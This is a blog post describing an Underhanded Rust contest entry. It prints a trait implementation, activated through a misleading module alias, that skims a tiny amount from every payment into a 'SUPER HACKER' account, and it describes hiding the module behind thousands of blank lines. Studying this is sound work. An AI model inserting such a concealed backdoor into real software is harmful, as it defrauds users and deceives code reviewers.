Note: This post was written by serejkaaa512 to describe their entry in the 2016 Underhanded Rust contest, which can be found here.

To increase my chances in Underhanded Rust i wrote another simple web-server, that has a small defect. It quietly carves out fractions of a penny from each transaction into an account used by SUPER HACKER. To make it i used Rust Module Import System.

There are Crates and Modules chapter and Traits chapter in the Rust Book.

Ideas

The first idea, that came to me, was “different traits can have the same named functions”. So we can do something like this:

mod a {
    pub struct Person;
    pub trait Bank {
        fn pay(&self);
    }
    impl Bank for Person {
        fn pay(&self) {
            println!("Payedddd to bank!!");
        }
    }
}

mod b {
    use a;
    pub trait Bank {
        fn pay(&self);
    }
    impl<T> Bank for T
        where T: a::Bank
    {
        fn pay(&self) {
            println!("Hacked!");
            <Self as a::Bank>::pay(self);
        }
    }
}

fn main() {
    // use a::Bank;
    use b::Bank;
    let p = a::Person {};
    p.pay();
}

But in this case used trait is not hidden and the reviewing guy could say “busted!” and put poor programmer in jail or hire in Microsoft.

So to hide it i tried to use as keyword and it works. It has very tricky behaviour. It doesn’t work in other use statements, but works in another code. So if we change main function, it is still be working:

fn main() {
    use a as c;
    use c::Bank;
    let p = c::Person {};
    p.pay();
}

Notice that c::Bank and c::Person are seemed to be imported from one module - a. But that’s not true.

Technical part

The technical part is also not so excited. I found nothing better than put exploited module in lib.rs and separate it from other code by thousands of empty lines. -,-

The module looks like this:

mod bank {
    use mybank;
    use mybank::{Person, Payment};
    use rustc_serialize::json::Json;


    pub trait Service {
        fn add_payment(&mut self, pay: Payment) -> String;
        fn add_customer(&mut self, customer: Person) -> String;
        fn get_account_info(&mut self, customer: Person) -> String;
    }

    impl<T> Service for T
        where T: mybank::Service
    {
        fn add_customer(&mut self, customer: Person) -> String {
            <Self as mybank::Service>::add_customer(self, customer)
        }

        fn add_payment(&mut self, pay: Payment) -> String {
            let hacker = Person {
                firstname: "SUPER".to_string(),
                lastname: "HACKER".to_string(),
            };
            let acc_info = <Self as mybank::Service>::get_account_info(self, hacker.clone());
            let json = Json::from_str(&acc_info).unwrap();
            let account = json["account"].as_string().unwrap().to_string();
            let hacker_pay = Payment {
                customer: hacker,
                account: account,
                amount: 0.00001f64,
            };
            println!("Hacked!");
            <Self as mybank::Service>::add_payment(self, hacker_pay);
            let corrected_pay = Payment {
                customer: pay.customer,
                account: pay.account,
                amount: pay.amount - 0.00001f64,
            };
            <Self as mybank::Service>::add_payment(self, corrected_pay)
        }

        fn get_account_info(&mut self, customer: Person) -> String {
            <Self as mybank::Service>::get_account_info(self, customer)
        }
    }
}

On server side i used these imports:

use mybank as bank;
use bank::Service;

The End

Poisoned module pays salary to SUPER HACKER and reviewing guy is happy, because there are no errors and everything seems working great.

Thanks 2 $)